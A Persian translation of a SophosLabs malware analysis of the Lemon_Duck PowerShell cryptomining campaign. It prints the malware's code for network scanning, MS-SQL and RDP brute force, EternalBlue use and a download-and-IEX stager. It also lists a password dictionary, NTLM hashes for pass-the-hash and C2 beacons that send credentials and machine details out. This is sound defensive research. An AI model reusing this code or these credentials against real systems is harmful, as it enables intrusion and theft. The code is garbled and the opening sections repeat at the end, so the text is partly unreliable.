آزمایشگاه های سوفوس (SophosLabs) در حال مانیتورینگ اسپایک مهمی در حملات ماینینگ رمزی است که با سرعت بالایی در شبکه های سازمانی به گسترش خود ادامه می دهد.
این حملات که از یک آلودگی ساده شروع می شوند، برای تبدیل حجم عظیمی از منابع پردازنده سازمان به ابزارهای ماینینگ رمزارز از اسکریپت های مخرب گوناگونی استفاده می کنند.
عوامل تهدید پشت این کمپین ها از تکنیک های پیشرفته متعددی همچون اجرای اسکریپت بدون فایل، به کارگیری ابزارهای امنیتی متن باز برای مقاصد خرابکارانه و سوء استفاده از آسیب پذیری ها برای گسترش سریع به ماشین های دیگر شبکه استفاده می کنند.
این عامل تهدید در جدیدترین اقدام خود، برای تکثیر در ماشین های دیگر شبکه دست به سوء استفاده از EternalBlue است. برخی از اسکریپت های مخرب از عبارت «$Lemon_Duck» به عنوان متغیر استفاده می کنند. به همین خاطر ما (و تعدادی از شرکت های دیگر که در وبلاگ خود راجع به همین عامل تهدید نوشته اند) این مهاجمین را «کمپین Lemon_Duck PowerShell» نامیده ایم.
ما در این پست به بررسی این کمپین سازمان یافته توسط مهاجمین (افرادی که دائماً و به طور منظم اسکریپت های حمله خود را با تکنیک های تهاجمی جدید ارتقا می دهند) می پردازیم. اکثر ماژول های تهاجمی مورد استفاده در این اسکریپت از منابع متن باز گرفته شده اند. اسکریپت های مخرب با استفاده از Scheduled Tasks، به کار خود بر روی ماشین های ویندوزی ادامه می دهند.
انتخاب هدف برای ماین کردن پنهانی
این کمپین برای هدف گیری، چند آدرس IP را به صورت تصادفی ایجاد می کند و برای شنود سرویس های روی شماره پورت های خاص مانند 445/TCP (SMB)، 1433/TCP (سرور MS-SQL) یا 65529/TCP (پورت مورد استفاده ماشینی که قبلاً توسط همین عامل تهدید دچار اختلال شده بود)، پورت ها را اسکن می کند.
به محض این که اسکریپت از ماشین ریموت پاسخی دریافت کند، آدرس IP را برای آسیب پذیری EternalBlue SMB مورد بررسی قرار می دهد یا علیه سرویس MS-SQL حمله بروت فورس را ترتیب می دهد تا ماشین را دچار اختلال کند. ماشین هایی که پورت های شنود آن ها در 65529/TCP باز است، قبلاً توسط این عامل تهدید یا عوامل تهدید دیگری که از اسکریپت مشابه استفاده می کنند دچار اختلال شده اند.
این بخش از اسکریپت مخرب حاوی منطقی است که به کمک آن آدرس های IP هدف را به صورت تصادفی ایجاد می کند:
function getipaddrs{
write-host “Get ipaddress…”
$allip = @()
[string[]]$ipsub = @(‘192.168.0′,’192.168.1′,’192.168.2′,’192.168.3′,’192.168.4′,’192.168.5′,’192.168.6′,’192.168.7′,’192.168.8′,’192.168.9′,’192.168.10′,’192.168.18′,’192.168.31′,’192.168.199′,’192.168.254′,’192.168.67′,’10.0.0′,’10.0.1′,’10.0.2′,’10.1.1′,’10.90.90′,’10.1.10′,’10.10.1′)
$regex = [regex]”\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b” $regex.Matches((ipconfig /all)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((ipconfig /displaydns)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((netstat -ano)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
} foreach($IP in $allip)
{{{}}
if ($IP.StartsWith(“127.”) -or ($IP -match ’25\d.’) -or ($IP -match ’24\d.’) -or $IP.StartsWith(“0.”) -or $IP.StartsWith(“169.254”) -or $IP -eq ‘1.0.0.127’)
{{{}}
}else{
$iptemp = $ip.Split(“.”)
$SubnetIP = $iptemp[0] “.” $iptemp[1] “.” $iptemp[2]
if ($ipsub -notcontains $SubnetIP)
{ $ipsub = @($SubnetIP) + $ipsub}
}
}
try{
$NetObject = New-Object Net.WebClient
$wlanip = $NetObject.DownloadString(“https://api.ipify.org/”)
$wlaniptemp = $wlanip.Split(“.”)
$wlansub = $wlaniptemp[0] “.” $wlaniptemp[1] “.” $wlaniptemp[2]
if($ipsub -notcontains $wlansub)
{ $ipsub += $wlansub }
}catch try{
$ipaddress = [System.Net.DNS]::GetHostByName($null).AddressList
$localip = @()
Foreach ($ip in $ipaddress)
{{{}}
$localip += $ip.IPAddressToString
$intiptemp = $ip.IPAddressToString.Split(“.”)
if($intiptemp[0] -ne ‘127’){
$intipsub = $intiptemp[0] “.” $intiptemp[1] “.” $intiptemp[2]
if($ipsub -notcontains $intipsub)
{ $ipsub += $intipsub }
}
}
}catch
try{
$ran_ipsub = “”(1(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))
if($ipsub -notcontains $ran_ipsub){
$ipsub = “”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))
}
}catch
}
$global:ipaddrs = @()
foreach($ipsub2 in $ipsub)
{{ { }
}
write-host $ipsub2
$global:ipaddrs = 1..254|%{$ipsub2{}”.”+$_}
}
$global:ipaddrs = @($global:ipaddrs | Where-Object { $localip -notcontains $_ })
write-host “Get address done!!”
}
و این بخش از اسکریپت دستور می دهد که مهاجمین چگونه پورت های شنود خاص را در کامپیوترهای هدف اسکن کنند:
function localscan {
Param(
[int]$Port = 445
)
write-host “scan port $port…”
[string[]]$openips = @()
$clients = @
$connects = @
foreach($ip in $ipaddrs) {
try{
$client = New-Object System.Net.Sockets.TcpClient
$connect = $client.BeginConnect($ip,$port,$null,$null)
$connects[}}{{$ip}}{{] = $connect
$clients[}}{{$ip}}{{] = $client
}catch
}
Start-Sleep -Milli 3000
foreach($ip in $clients.Keys) {
if ($clients[}}{{$ip}}{{].Connected) {
$clients[}}{{$ip}}{{].EndConnect($connects[}}{{$ip}}{{])
$openips += $ip
}
$clients[}}{{$ip}}{{].Close()
}
write-host $openips.count
return ,$openips
}
در نهایت مهاجمین برای حمله بروت فورس به اعتبارنامه های حساب سوپر ادمین (sa) SQL Server از یک دیکشنری رمز عبور و هش استفاده می کنند. اسکریپت از طریق فهرستی طویل از پسوردها اجرا می شود (از جمله پسوردهایی که گروه های منتشر کننده Mirai و بدافزار بات نت IoT قبلاً از آن ها استفاده کرده بودند). علاوه بر این مهاجمین از چند هش NTLM در حمله «pass the hash» استفاده می کنند.
فهرست پسوردها را در ادامه مشاهده می کنید.
“saadmin”,”123456″,”password”,”PASSWORD”,”123.com”,”admin@123″,”Aa123456″,”qwer12345″,”Huawei@123″,”123@abc”,”golden”,”123!@#qwe”,”1qaz@WSX”,”Ab123″,”1qaz!QAZ”,”Admin123″,”Administrator”,”Abc123″,”Admin@123″,
“999999”,”Passw0rd”,”123qwe!@#”,”football”,”welcome”,”1″,”12″,”21″,”123″,”321″,”1234″,”12345″,”123123″,”123321″,”111111″,”654321″,”666666″,”121212″,”000000″,”222222″,”888888″,”1111″,”555555″,”1234567″,”12345678″,
“123456789”,”987654321″,”admin”,”abc123″,”abcd1234″,”abcd@1234″,”abc@123″,”p@ssword”,”P@ssword”,”p@ssw0rd”,”P@ssw0rd”,”P@SSWORD”,”P@SSW0RD”,”P@w0rd”,”P@word”,”iloveyou”,”monkey”,”login”,”passw0rd”,”master”,”hello”,
“qazwsx”,”password1″,”qwerty”,”baseball”,”qwertyuiop”,”superman”,”1qaz2wsx”,”fuckyou”,”123qwe”,”zxcvbn”,”pass”,”aaaaaa”,”love”,”administrator”,”qwe1234A”,”qwe1234a”,”123123123″,”1234567890″,”88888888″,”111111111″,
“112233”,”a123456″,”123456a”,”5201314″,”1q2w3e4r”,”qwe123″,”a123456789″,”123456789a”,”dragon”,”sunshine”,”princess”,”!@#$%^&*”,”charlie”,”aa123456″,”homelesspa”,”1q2w3e4r5t”,”sa”,”sasa”,”sa123″,”sql2005″,”sa2008″,
“abc”,”abcdefg”,”sapassword”,”Aa12345678″,”ABCabc123″,”sqlpassword”,”sql2008″,”11223344″,”admin888″,”qwe1234″,”A123456″
و کالکشن هش NTLM اسکریپت بدین شرح است:
“31d6cfe0d16ae931b73c59d7e0c089c0″,”32ed87bdb5fdc5e9cba88547376818d4″,”8846f7eaee8fb117ad06bdd830b7586c”,”7b592e4f8178b4c75788531b2e747687″,”afffeba176210fad4628f0524bfe1942″,
“579da618cfbfa85247acf1f800a280a4”, “47bf8039a8506cd67c524a03ff84ba4e”,”5ae7b89b3afea28d448ed31b5c704289″,”3f9f5f112da330ac4c20be279c6addfa”,”73f5d97549f033374fa6d9f9ce247ffd”,
“6f12c0ab327e099821bd938f39faab0d”,”e5ae562ddfaa6b446c32764ab1ebf3ed”, “161cff084477fe596a5db81874498a24″,”d30c2ef8389ac9e8516baacb29463b7b”,”bc007082d32777855e253fd4defe70ee”,
“e45a314c664d40a227f9540121d1a29d”,”d144986c6122b1b1654ba39932465528″,”f4bb18c1165a89248f9e853b269a8995″, “570a9a65db8fba761c1008a51d4c95ab”,”e1a692bd23bde99b327756e59308b4f8″,
“a87f3a337d73085c45f9416be5787d86″,”00affd88fa323b00d4560bf9fef0ec2f”,”31fc0dc8f7dfad0e8bd7ccc3842f2ce9″,”674e48b68c5cd0efd8f7e5faa87b3d1e”, “69943c5e63b4d2c104dbbcc15138b72b”,
“588feb889288fb953b5f094d47d1565c”,”bcdf115fd9ba99336c31e176ee34b304″,”3dbde697d71690a769204beb12283678″,”df54de3f3438343202c1dd523d0265be”,”7ce21f17c0aee7fb9ceba532d0546ad6″,
“7a21990fcd3d759941e45c490f143d5f”,”579110c49145015c47ecd267657d3174″,”af27efb60c7b238910efe2a7e0676a39″,”2d7f1a5a61d3a96fb5159b5eef17adc6″,”4057b60b514c5402dde3d29a1845c366″,
“e8cd0e4a9e89eab931dc5338fcbec54a”, “6920c58d0df184d829189c44fafb7ece”,”3fa45a060bd2693ae4c05b601d05ca0c”,”ba07ba35933e5bf42dea4af8add09d1e”,”f1351ac828428d74f6da2968089fc91f”,
“e84d037613721532e6b6d84d215854b6″,”2f2d544c53b3031f24d63402ea7fb4f9”, “328727b81ca05805a68ef26acb252039″,”259745cb123a52aa2e693aaacca2db52″,”c22b315c040ae6e0efee3518d830362b”,
“162e829be112225fedf856e38e1c65fe”,”209c6174da490caeb422f3fa5a7ae634″,”f9e37e83b83c47a93c2f09f66408631b”, “b3ec3e03e2a202cbd54fd104b8504fef”,”4ed91524cb54eaacc17a185646fb7491″,
“aa647b916a1fad374df9c30711d58a7a”,”a80c9cc3f8439ada25af064a874efe2d”,”13b29964cc2480b4ef454c59562e675c”,”de26cce0356891a4a020e7c4957afc72″, “e19ccf75ee54e06b06a5907af13cef42”,
“30fcaa8ad9a496b3e17f7fbfacc72993″,”41630abb825ca50da31ce1fac1e9f54d”,”f56a8399599f1be040128b1dd9623c29″,”2e4dbf83aa056289935daea328977b20″,”b963c57010f218edc2cc3c229b5e4d0f”,
“f2477a144dff4f216ab81f2ac3e3207d”,”e6bd4cdb1e447131b60418f31d0b81d6″,”b9f917853e3dbf6e6831ecce60725930″,”6d3986e540a63647454a50e26477ef94″,”066ddfd4ef0e9cd7c256fe77191ef43c”,
“152efbcfafeb22eabda8fc5e68697a41”, “5835048ce94ad0564e29a924a03510ef”,”2d20d252a479f485cdf5e171d93985bf”,”320a78179516c385e35a93ffa0b1c4ac”,”0d757ad173d2fc249ce19364fd64c8ec”,
“72f5cfa80f07819ccbcfb72feb9eb9b7″,”f67f5e3f66efd7298be6acd32eeeb27c”, “1c4ecc8938fb93812779077127e97662″,”ad70819c5bc807280974d80f45982011″,”a836ef24f0a529688be2af1479a95411”,
“36aa83bdcab3c9fdaf321ca42a31c3fc”,”acb98fd0478427cd18949050c5e87b47″,”85deeec2d12f917783b689ae94990716″, “a4141712f19e9dd5adf16919bb38a95c”,”e7380ae8ef85ae55bdceaa59e418bd06″,
“81e5f1adc94dd08b1a072f9c1ae3dd3f”,”71c5391067de41fad6f3063162e5eeff”
پس بدیهی است که اگر یک سرور MS-SQL متصل به اینترنت عمومی را اجرا کنید و یکی از این پسورها را مورد استفاده قرار دهید، ماشین تان دچار اختلال خواهد شد.
زنجیره مرگ Lemon_Duck
اسکریپت های مخرب با استفاده از Windows Scheduled Tasks یک کپی جدید از اسکریپت مخرب را در بازه های زمانی یک ساعته دانلود و اجرا می کنند. اسکریپت دانلود شده اولیه، قبل از اجرا با استفاده از هش هاردکد شده خود را اعتبارسنجی می کند. در صورت موفقیت آمیز بودن این اعتبارسنجی، اسکریپت بارهای ویروسی دیگر شامل ماینر کوین و ماژول بهره برداری را دانلود می کند.
این بخش از اسکریپت، چک سام را اعتبارسنجی می کند:
$tm1=’$Lemon_Duck=”_T”;
$y=”_U”;$z=$y{}”p”{}”’$v”’;
$m=(New-Object System.Net.WebClient).DownloadData($y); // Downloaded SHA should be equal to ‘d8109cec0a51719be6f411f67b3b7ec1’
[System.Security.Cryptography.MD5]::Create().ComputeHash($m)|foreach}{{$s+=$_.ToString(”x2”)};
if($s-eq”d8109cec0a51719be6f411f67b3b7ec1”){
IEX(-join[char[]]$m)
}
متغیر $Lemon_Duck نام فایل تسک را ذخیره و آن را به سرور کامند اند کنترل (Command-and-Control) در رشته User-Agent ارسال می کند. اگر در این مرحله همه چیز مورد تأیید باشد، اسکریپت شروع به دانلود بار ویروسی می کند.
انتشار تهدید و گسترش عرضی
اسکریپت تلاش می کند خودش را با استفاده از ماشین آلوده به عنوان نقطه ورودی مطمئن به مابقی شبکه، به صورت عرضی انتشار دهد. در نتیجه برای انجام این کار از روش های مختلفی مثل روش های زیر استفاده می کند:
• EternalBlue: اختلال از طریق سوء استفاده SMB
• درایوهای USB و شبکه: اسکریپت، فایل های میانبر با پسوند lnk و فایل های DLL مخرب را در دستگاه های ذخیره سازی متصل به ماشین آلوده و درایوهای شبکه مپ شده (CVE-2017-8464) می نویسد.
• فایل های استارتاپ: اسکریپت، فایل ها را در مکان های استارتاپ در سیستم فایل ویندوز (مانند پوشه Startup منوی استارت) می نویسد تا حین ریبوت اجرا شوند.
• حمله بروت فورس به MS-SQL Server: اسکریپت، پسوردهای مختلفی را امتحان می کند که ممکن است توسط حساب کاربری سوپر ادمین SQL Server مورد استفاده قرار گرفته باشد.
• حمله Pass the Hash: از هش های NTLM جدول نشان داده شده در بالا استفاده می کند.
• اجرای دستورات مخرب بر روی ماشین های ریموت با استفاده از WMI
• حمله بروت فورس RDP
در برخی از این سوء استفاده ها، اسکریپت یک یا چند Scheduled Tasks ایجاد می کند تا چند دقیقه پس از اختلال اولیه، اسکریپت های مخرب را اجرا کند. این ترفندها شاید به نظر ابتدایی بیایند اما ساده ترین راه برای فرار از چنگال محصولات امنیتی رفتار-محور محسوب می شوند. این نوع ابزارهای امنیتی، توالی و زمان بندی رویدادها را تحت نظر قرار می دهند تا حملات در حال پیشرفت را شناسایی کنند و در صورت رسیدن دستورات مشکوک منتشر شده به آستانه ای مشخص در بازه زمانی کوتاه، حمله را مسدود می کنند.
به محض این که اسکریپت های جدید از سرور مخرب C&C دانلود شدند، اسکریپت های جدید آیتم های Scheduled Tasks ایجاد شده حین سوء استفاده اولیه را حذف می کنند. در این جا به برخی نمونه روش های انتشار مورد استفاده عوامل تهدید می پردازیم:
EternalBlue: مهاجمین ماشین هایی که به 445/TCP پاسخ می دهند را اسکن می کنند تا با استفاده از ابزاری به نام PingCastle بفهمند تحت تأثیر آسیب پذیری EternalBlue قرار گرفته اند/نگرفته اند.
اسکنر آسیب پذیری PingCastle EternalBlue
سپس ماشین هایی که آسیب پذیری آن ها نسبت به این سوء استفاده مشخص می شود، با استفاده از EternalBlue مورد حمله قرار می گیرند. اسکریپت حمله نیز مشخص می کند که ماشین دارای ویندوز 7 یا ویندوز قدیمی تر یا ویندوز 8 یا نسخه جدیدتر آن است.
try{
write-host “start eb scanning…”
$vul=[PingCastle.Scanners.m17sc]::Scan($currip) // scan for vulnerable IP
if($vul{{) { }
}
write-host “$currip seems eb vulnerable…”
$res = eb7 $currip $sc //targeting win7 & older version
if($res) {
write-host “$currip eb7 got it!!!”
} else {
$res = eb8 $currip $sc //Windows 8, 10 & 2012
if($res) {
write-host “$currip eb8 got it!!!”
}
}
}
}catch
پس از این که اسکریپت حمله، نسخه حمله ای که از آن استفاده خواهد کرد را شناسایی کرد، «SMB Exploitation Module» زیر را اجرا می کند:
کد حمله EtrernalBlue از حمله Lemon_Duck
LNK Remote Code Execution: عوامل تهدید پشت Lemon_Duck در آپدیت اخیر خود کامپوننت بهره برداری میانبر ویندوز را معرفی کردند که پسوند آن lnk است. این کامپوننت از آسیب پذیری CVE-2017-8464 برای گسترش از طریق کپی کردن کد مخرب در حافظه های USB یا درایوهای شبکه استفاده می کند.
این اسکریپت هر دو نسخه 32 و 64 بیتی از کامپوننت DLL را به همراه فایل های lnk مربوطه در حافظه USB یا درایو شبکه می نویسد. هنگامی که کاربر این درایو را در Windows Explorer یا هر اپلیکیشنی که فایل میانبر lnk را تجزیه می کند باز کند، میانبر کامپوننت DLL مخرب را اجرا خواهد کرد.
کامپوننت USBLNK قادر است در حافظه های FAT32 یا NTFS منتشر شود.
علاوه بر این، اسکریپت فایلی به نام “UTFsync inf_data” – (file_location) به عنوان مارکر رفرنس ایجاد می کند تا تأیید نماید که درایو به کامپوننت lnk و dll آلوده شده است. وجود این فایل تأیید می کند که درایو آلوده شده است. در نتیجه آلوده کردن مجدد این درایو صرف نظر می شود.
حمله PassTheHash: اسکریپت، مجوزهای حساب کاربری را مورد بررسی قرار می دهد. در صورتی که کاربر دارای مجوز باشد اسکریپت، ماژول PowerDump متعلق به Dave Kennedy و Mimikatz متعلق به Benjamin Delpy را به کار می گیرد تا از تمام هش های NTLM، Username، Password و اطلاعات دامنه کپی برداری کند. سپس اسکریپت برای آپلود فایل های اسکریپت مخرب و به دنبال آن بچ مربوطه یا فایل lnk در پوشه %startup% ماشین های ریموت قابل دسترسی در شبکه از این اعتبارنامه ها استفاده می نماید یا با استفاده از WMI کد PowerShell را از راه دور اجرا می کند.
PowerDump Module: این ماژول شباهت زیادی به اسکریپت متن باز مورد استفاده برای تست نفوذ دارد و دو ابزار اسکریپت نویسی متن باز دارد.
این بدافزار اعتبارنامه های بدست آمده با Mimikatz را به کار می گیرد تا از ماژول های PowerShell زیر (که ابتدا توسط Kevin Robertson منتشر شد) استفاده کند:
• Invoke-SE: برای اجرای دستور بچ مخرب در ماشین ریموت
• Invoke-SMBC: سهم IPC$ تمام کاربران که توسط SMB نگهداری شده است را فهرست می کند. این ماژول اجرای سه عملیات «List»، «Put» و «Delete» را برعهده دارد.
اسکریپت مخرب از اسکریپت های PowerShell مختلف ابزار تست نفوذ متن باز استفاده می کند.
حمله بروت فورس به MS-SQL Server: اسکریپت پورت آدرس های IP فعال را اسکن می کند و تمام ماشین های دارای پورت 1433/TCP باز (پورت مورد استفاده سرویس Microsoft SQL) را می شمارد و با استفاده از فهرست پسوردهایی که در بالا نشان داده شده و پسوردهای بدست آمده از ماشین با Mimikatz حمله بروت فورس به حساب کاربر SA را ترتیب می دهد.
اسکریپت پس از ایجاد اختلال در حساب سرور MS-SQL برای اجرای دستورات مخرب علیه ماشین های دیگر از پروسه sqlserver.exe استفاده می کند.
کد حمله به سرور Lemon_Duck MS-SQL
حمله بروت فورس RDP: ماژول RDP سرورهای بازی که پورت پیش فرض RDP یعنی 3389/TCP را شنود می کنند اسکن می کند و به دنبال این است که با نام کاربری «administrator» لاگین کند. اسکریپت با استفاده از ابزار متن باز freerdp فهرستی از پسورهای هاردکد شده را امتحان می کند. با ورود موفقیت آمیز، دستور مخرب در ماشین اجرا خواهد شد.
foreach($currip in $rdp_portopen[1]) {
$currip
if (($old_portopen -notcontains $currip) -and ($currip.length -gt 6)){
write-host “start rdp scanning…”
foreach($password in $allpass){
write-host “Try pass:$password”
$flag = (new-object RDP.BRUTE).check($exepath,$currip,”administrator”,$password,$false)
if($flag){
write-host “SUCC!!”
$brute = new-object RDP.BRUTE
if($brute.check($exepath,$currip,”administrator”,$password,$true)){
(New-Object Net.WebClient).DownloadString($log_url+’/report.json?type=rdp&ip=’+$currip+’&pass=’+$password+’&t=’+$t)
[RDP.CMD]::runCmd($rdp_code)
write-host “Try to run command!!”
}
start-sleep 10
$brute.exit()
break;
}
}
}
}
کد اجرای حمله بروت فورس RDP
اگر ماشین با روش های بالا دچار اختلال شود، اسکریپت برای باز کردن پورت 65529/TCP تنظیمات فایروال ویندوز را تغییر می دهد. اسکریپت مخرب برای تشخیص مختل شدن ماشین از این شاخص به عنوان مارکر (علامتگذار) استفاده می کند. با این کار از ماژول های بهره برداری بر روی این ماشین ها مجدداَ استفاده نخواهد شد.
این کد بهره برداری دائماً و با مکث 5 دقیقه ای اجرا می شود و فهرست IP تصادفی جدیدی ایجاد می کند. سرویس های SMB و MS-SQL توسط اسکریپت اسکن می شوند تا ماشین های جدید دچار اختلال شوند. علاوه بر این با هر بار اجرای این کد، اطلاعات پروفایل گیری ماشین را ایجاد و آن را به سرور command-and-control خود ارسال می کند.
Installation Tracking C2: این ماژول وقتی اجرا می شود که ماشین برای اولین بار دچار اختلال شود. این اتفاق معمولاً در انتهای زنجیره مرگ و پس از اجرای تمام ماژول های دانلود شده برای بهره برداری محلی، حرکت عرضی و اسکریپت ماینینگ واقعی می افتد. این ماژول پروفایل ماشین را همراه با وضعیت تک تک ماژول های اجرا شده به سرور C2 خود گزارش می دهد.
write-host “reporting”
try{
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1
$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
$comp_name = $env:COMPUTERNAME
$wf = test-path $env:tmp\wfreerdp.exe // RDP utility
$mf = test-path $env:tmp\mimi.dat // mimikatz
(New-Object Net.WebClient).DownloadString($log_url+’/log.json?V=0.1&ID=’+$comp_name+’&GUID=’+$guid+’&MAC=’+$mac+’&retry=’+$retry+’&pc1=’+$portopen[1].count+’&pc2=’+$ms_portopen[1].count+’&pc3=’+$old_portopen[1].count+’&pc4=’+$rdp_portopen[1].count+’&pci=’+$ipaddrs_i.count+’&pco=’+$ipaddrs_o.count+’&pcb=’+$global:ipaddrs_b+’&mi=’+($getpasswd -join “^^”)+’&wf=’+[Int]$wf+’&mf=’+[Int]$mf)
}catch{}
Continuous Monitoring C2: ماشین آلوده دائماً گزارش هایی را به همراه آخرین وضعیت ماژول های بهره برداری و ماینینگ به سرور C2 ارسال می کند. این ماژول پس از اجرای تمام ماژول های اسکریپت بارهای ویروسی اجرا می شود. از جمله پارامترهایی که به سرور C2 ارسال می شود می توان به اطلاعات راجع به حساب های کاربری مختل شده، پیکربندی ماشین، امتیاز کاربر و وضعیت بار ویروسی بهره برداری یا ماینینگ اشاره کرد.
hxxp://<redacted.com>/report.jsp?ID=HAWKINS-PC&GUID=2D3EC845-35CD-1346-876E-96257ADE6A2F&MAC=&OS=6.1.7601&BIT=32&USER=HAWKINS-PC$&DOMAIN=WORKGROUP&D=&CD=Standard%20VGA%20Graphics%20Adapter&P=1&FI=0&FM=0&IF=0&MF=0&HR=&UP=664.468&_T=1569808438.79244
Paramaters –
$comp_name = Computername
$guid = machine UUID
$mac = mac address of the machine
$os = installed OS version
$bit = 32 or 64 bit architecture
$user = username
$domain = User Domain
$uptime = system uptime
$card = Installed Graphic Card Name
$if_ = Exploit & threat progration module
$mf_ = active 32 or 64 bit mining module
$drive = removable & network drive information
$timestamp = Date in UFormat
$isA = If AMD Radeon graphic Card Installed & 64 bit machine
$permit – Is administrator
FI & IF – Confirm the threat propgation module is executed and running active
FM & MF – Confirm mining module executed and running active
&HR – Miner Hashrate information
انتشار تهدید
SophosLabs با برقراری ارتباط با شبکه این بدافزار آن را تحت نظر قرار داده است و دیتابیسی از ماشین های مختل شده را ایجاد کرد. ما بر اساس تعداد ماشین های مختل شده در تله متری احتمال زیادی می دهیم که منشأ حملات آسیا باشد اما با این حال در تمام قاره ها منتشر شده است.
ماشین های آلوده در سراسر جهان که مکان آن ها از روی آدرس IP مشخص شده است.
درصد تعداد کل اندپوینت های آلوده به Lemon_Duck که بر اساس آدرس IP تفکیک شده اند
ناحیه تحت پوشش برای تشخیص
محصولات اندپوینت سوفوس المان های کامپوننت های Lemon_Duck PowerShell را با استفاده از تعاریف زیر تشخیص می دهند:
• HPmal/PowDld-B: کامپوننت ماینر اصلی
• Mal/PshlJob-A: فایل اهی تسک کمپین قدیمی به همراه فایل های تسک بروت فورس Mssql
• Mal/MineJob-C: فایل های تسک ایجاد شده با Eternal Blue Exploitation
• Mal/MineJob-B: حفظ فایل تسک
MTR سوفوس قادر است تکنیک ها، تاکتیک ها و رویه های (TTP ها) مورد استفاده مهاجمین را شناسایی و خنثی کند. از جمله این TTP ها می توان به فراخوانی فایل های اجرایی PowerShell و IEX رشته دانلود، لاگین های ناموفق بروت فورس، حفظ پوشه استارتاپ و تسک زمان بندی شده، CVE-2017-8464، Open TCP 1433، Pass-the-Hash و تکنیک های مخرب دیگر اشاره کرد.
این حملات که از یک آلودگی ساده شروع می شوند، برای تبدیل حجم عظیمی از منابع پردازنده سازمان به ابزارهای ماینینگ رمزارز از اسکریپت های مخرب گوناگونی استفاده می کنند.
عوامل تهدید پشت این کمپین ها از تکنیک های پیشرفته متعددی همچون اجرای اسکریپت بدون فایل، به کارگیری ابزارهای امنیتی متن باز برای مقاصد خرابکارانه و سوء استفاده از آسیب پذیری ها برای گسترش سریع به ماشین های دیگر شبکه استفاده می کنند.
این عامل تهدید در جدیدترین اقدام خود، برای تکثیر در ماشین های دیگر شبکه دست به سوء استفاده از EternalBlue است. برخی از اسکریپت های مخرب از عبارت «$Lemon_Duck» به عنوان متغیر استفاده می کنند. به همین خاطر ما (و تعدادی از شرکت های دیگر که در وبلاگ خود راجع به همین عامل تهدید نوشته اند) این مهاجمین را «کمپین Lemon_Duck PowerShell» نامیده ایم.
ما در این پست به بررسی این کمپین سازمان یافته توسط مهاجمین (افرادی که دائماً و به طور منظم اسکریپت های حمله خود را با تکنیک های تهاجمی جدید ارتقا می دهند) می پردازیم. اکثر ماژول های تهاجمی مورد استفاده در این اسکریپت از منابع متن باز گرفته شده اند. اسکریپت های مخرب با استفاده از Scheduled Tasks، به کار خود بر روی ماشین های ویندوزی ادامه می دهند.
انتخاب هدف برای ماین کردن پنهانی
این کمپین برای هدف گیری، چند آدرس IP را به صورت تصادفی ایجاد می کند و برای شنود سرویس های روی شماره پورت های خاص مانند 445/TCP (SMB)، 1433/TCP (سرور MS-SQL) یا 65529/TCP (پورت مورد استفاده ماشینی که قبلاً توسط همین عامل تهدید دچار اختلال شده بود)، پورت ها را اسکن می کند.
به محض این که اسکریپت از ماشین ریموت پاسخی دریافت کند، آدرس IP را برای آسیب پذیری EternalBlue SMB مورد بررسی قرار می دهد یا علیه سرویس MS-SQL حمله بروت فورس را ترتیب می دهد تا ماشین را دچار اختلال کند. ماشین هایی که پورت های شنود آن ها در 65529/TCP باز است، قبلاً توسط این عامل تهدید یا عوامل تهدید دیگری که از اسکریپت مشابه استفاده می کنند دچار اختلال شده اند.
این بخش از اسکریپت مخرب حاوی منطقی است که به کمک آن آدرس های IP هدف را به صورت تصادفی ایجاد می کند:
function getipaddrs{
write-host “Get ipaddress…”
$allip = @()
[string[]]$ipsub = @(‘192.168.0′,’192.168.1′,’192.168.2′,’192.168.3′,’192.168.4′,’192.168.5′,’192.168.6′,’192.168.7′,’192.168.8′,’192.168.9′,’192.168.10′,’192.168.18′,’192.168.31′,’192.168.199′,’192.168.254′,’192.168.67′,’10.0.0′,’10.0.1′,’10.0.2′,’10.1.1′,’10.90.90′,’10.1.10′,’10.10.1′)
$regex = [regex]”\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b” $regex.Matches((ipconfig /all)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((ipconfig /displaydns)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
}
$regex.Matches((netstat -ano)) | ForEach-Object {{{}}
if ($allip -notcontains $_.Value)
{ $allip {{+= $_.Value }}}
} foreach($IP in $allip)
{{{}}
if ($IP.StartsWith(“127.”) -or ($IP -match ’25\d.’) -or ($IP -match ’24\d.’) -or $IP.StartsWith(“0.”) -or $IP.StartsWith(“169.254”) -or $IP -eq ‘1.0.0.127’)
{{{}}
}else{
$iptemp = $ip.Split(“.”)
$SubnetIP = $iptemp[0] “.” $iptemp[1] “.” $iptemp[2]
if ($ipsub -notcontains $SubnetIP)
{ $ipsub = @($SubnetIP) + $ipsub}
}
}
try{
$NetObject = New-Object Net.WebClient
$wlanip = $NetObject.DownloadString(“https://api.ipify.org/”)
$wlaniptemp = $wlanip.Split(“.”)
$wlansub = $wlaniptemp[0] “.” $wlaniptemp[1] “.” $wlaniptemp[2]
if($ipsub -notcontains $wlansub)
{ $ipsub += $wlansub }
}catch try{
$ipaddress = [System.Net.DNS]::GetHostByName($null).AddressList
$localip = @()
Foreach ($ip in $ipaddress)
{{{}}
$localip += $ip.IPAddressToString
$intiptemp = $ip.IPAddressToString.Split(“.”)
if($intiptemp[0] -ne ‘127’){
$intipsub = $intiptemp[0] “.” $intiptemp[1] “.” $intiptemp[2]
if($ipsub -notcontains $intipsub)
{ $ipsub += $intipsub }
}
}
}catch
try{
$ran_ipsub = “”(1(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))
if($ipsub -notcontains $ran_ipsub){
$ipsub = “”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))”.”(1+(Get-Random -Maximum 254))
}
}catch
}
$global:ipaddrs = @()
foreach($ipsub2 in $ipsub)
